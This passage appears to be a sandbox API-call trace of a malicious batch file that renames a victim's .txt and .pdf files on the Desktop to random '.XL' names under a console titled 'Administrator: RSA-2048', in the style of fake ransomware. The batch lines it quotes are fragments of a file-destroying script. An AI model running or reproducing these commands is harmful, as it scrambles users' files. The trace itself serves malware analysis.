dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0037.124] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=1273, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0037.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0037.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0037.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.124] GetFileType (hFile=0x74) returned 0x1 [0037.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0037.124] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=1275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0037.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0037.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0037.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.124] GetFileType (hFile=0x74) returned 0x1 [0037.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0037.124] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=1301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0037.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0037.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0037.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.125] GetFileType (hFile=0x74) returned 0x1 [0037.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0037.125] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=1312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0037.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0037.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0037.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.125] GetFileType (hFile=0x74) returned 0x1 [0037.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0037.125] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=1314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0037.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.126] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.126] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0037.126] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.126] GetFileType (hFile=0x74) returned 0x1 [0037.126] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0037.126] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.126] SetFilePointer (in: hFile=0x74, lDistanceToMove=1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0037.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0037.126] _close (_FileHandle=3) returned 0 [0037.126] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.126] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.126] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.127] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.127] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.127] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.127] SetConsoleInputExeNameW () returned 0x1 [0037.127] GetConsoleOutputCP () returned 0x1b5 [0037.127] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.127] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.128] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.128] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.128] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.128] SetFilePointer (in: hFile=0x74, lDistanceToMove=1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.128] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.128] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4c18 | out: hHeap=0x4e0000) returned 1 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.128] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.128] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.128] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.128] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.128] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.128] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.128] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.128] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.128] GetProcessHeap () returned 0x4e0000 [0037.129] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.129] GetProcessHeap () returned 0x4e0000 [0037.129] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.129] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.129] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0037.129] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.129] SetFilePointer (in: hFile=0x74, lDistanceToMove=1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0037.129] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.pdf goto pdf\r\n") returned 2 [0037.129] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.129] GetFileType (hFile=0x74) returned 0x1 [0037.129] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.129] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0037.129] GetProcessHeap () returned 0x4e0000 [0037.129] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.129] GetProcessHeap () returned 0x4e0000 [0037.129] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.129] _tell (_FileHandle=3) returned 1322 [0037.129] _close (_FileHandle=3) returned 0 [0037.130] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.130] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.130] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0037.130] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0037.130] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=1348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0037.130] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0037.130] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.130] GetFileType (hFile=0x74) returned 0x1 [0037.130] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0037.131] GetProcessHeap () returned 0x4e0000 [0037.131] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.131] GetProcessHeap () returned 0x4e0000 [0037.131] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5038a0 [0037.131] GetProcessHeap () returned 0x4e0000 [0037.131] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a38 [0037.131] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.131] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0037.131] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0037.131] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0037.131] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0037.131] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0037.132] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0037.132] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0037.132] rand () returned 29302 [0037.132] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="29302") returned 5 [0037.132] GetProcessHeap () returned 0x4e0000 [0037.132] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.132] GetProcessHeap () returned 0x4e0000 [0037.132] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.132] GetProcessHeap () returned 0x4e0000 [0037.132] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.132] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.132] GetProcessHeap () returned 0x4e0000 [0037.132] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a98 [0037.132] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x28) returned 0x4f4ab8 [0037.133] _tell (_FileHandle=3) returned 1348 [0037.133] _close (_FileHandle=3) returned 0 [0037.133] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0037.133] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0037.133] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0037.133] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0037.133] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0037.133] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0037.133] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0037.133] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0037.133] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.134] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4ae8 [0037.134] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4ae8, Size=0x28) returned 0x4f4ae8 [0037.134] GetProcessHeap () returned 0x4e0000 [0037.134] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ae8) returned 0x28 [0037.135] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x36) returned 0x4f4b18 [0037.135] GetProcessHeap () returned 0x4e0000 [0037.135] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4b58 [0037.135] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b58, Size=0x28) returned 0x4f4b58 [0037.135] GetProcessHeap () returned 0x4e0000 [0037.135] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x28 [0037.135] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b88 [0037.135] GetProcessHeap () returned 0x4e0000 [0037.136] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f5868 [0037.136] _wcsicmp (_String1="*.pdf", _String2=".") returned -4 [0037.136] _wcsicmp (_String1="*.pdf", _String2="..") returned -4 [0037.136] GetFileAttributesW (lpFileName="*.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.pdf")) returned 0xffffffff [0037.136] GetLastError () returned 0x7b [0037.136] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f5ac8 [0037.136] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f5ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.136] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41e850*="*.pdf") returned 0x2b [0037.136] SetErrorMode (uMode=0x0) returned 0x1 [0037.136] GetProcessHeap () returned 0x4e0000 [0037.136] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f5ce0 [0037.136] _wcsicmp (_String1="*.pdf", _String2=".") returned -4 [0037.136] _wcsicmp (_String1="*.pdf", _String2="..") returned -4 [0037.137] GetFileAttributesW (lpFileName="*.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.pdf")) returned 0xffffffff [0037.137] GetLastError () returned 0x7b [0037.137] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x4f5870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f5870) returned 0x4f4bc0 [0037.137] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6JYZbB5 c.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6jyzbb5 c.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\29302.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\29302.xl")) returned 1 [0037.139] FindNextFileW (in: hFindFile=0x4f4bc0, lpFindFileData=0x4f5870 | out: lpFindFileData=0x4f5870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b456a20, ftCreationTime.dwHighDateTime=0x1d5dd6f, ftLastAccessTime.dwLowDateTime=0x6ec4fbc0, ftLastAccessTime.dwHighDateTime=0x1d5e026, ftLastWriteTime.dwLowDateTime=0x6ec4fbc0, ftLastWriteTime.dwHighDateTime=0x1d5e026, nFileSizeHigh=0x0, nFileSizeLow=0x42f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="6JYZbB5 c.pdf", cAlternateFileName="")) returned 0 [0037.140] GetLastError () returned 0x12 [0037.140] FindClose (in: hFindFile=0x4f4bc0 | out: hFindFile=0x4f4bc0) returned 1 [0037.140] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.140] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.141] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.141] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.141] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.141] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.141] SetConsoleInputExeNameW () returned 0x1 [0037.141] GetConsoleOutputCP () returned 0x1b5 [0037.141] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.141] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.142] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.142] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.142] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.142] SetFilePointer (in: hFile=0x74, lDistanceToMove=1348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0037.142] GetProcessHeap () returned 0x4e0000 [0037.142] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5ce0 | out: hHeap=0x4e0000) returned 1 [0037.142] GetProcessHeap () returned 0x4e0000 [0037.142] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5ac8 | out: hHeap=0x4e0000) returned 1 [0037.142] GetProcessHeap () returned 0x4e0000 [0037.142] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.143] GetProcessHeap () returned 0x4e0000 [0037.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b88 | out: hHeap=0x4e0000) returned 1 [0037.143] GetProcessHeap () returned 0x4e0000 [0037.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.143] GetProcessHeap () returned 0x4e0000 [0037.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.143] GetProcessHeap () returned 0x4e0000 [0037.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ae8 | out: hHeap=0x4e0000) returned 1 [0037.143] GetProcessHeap () returned 0x4e0000 [0037.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.143] GetProcessHeap () returned 0x4e0000 [0037.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.143] GetProcessHeap () returned 0x4e0000 [0037.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.143] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.143] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0037.143] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.144] SetFilePointer (in: hFile=0x74, lDistanceToMove=1359, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0037.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.144] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.144] GetFileType (hFile=0x74) returned 0x1 [0037.144] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.144] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0037.144] GetProcessHeap () returned 0x4e0000 [0037.144] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.144] GetProcessHeap () returned 0x4e0000 [0037.144] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.144] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.144] GetProcessHeap () returned 0x4e0000 [0037.144] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4a98 [0037.145] GetProcessHeap () returned 0x4e0000 [0037.145] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4ab8 [0037.145] _tell (_FileHandle=3) returned 1359 [0037.145] _close (_FileHandle=3) returned 0 [0037.145] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0037.145] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0037.145] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0037.145] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0037.145] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0037.145] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0037.145] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0037.146] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0037.146] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0037.146] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0037.146] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0037.146] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0037.146] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0037.146] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0037.146] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0037.146] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0037.146] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0037.146] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0037.146] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0037.146] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0037.146] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0037.146] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.146] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) 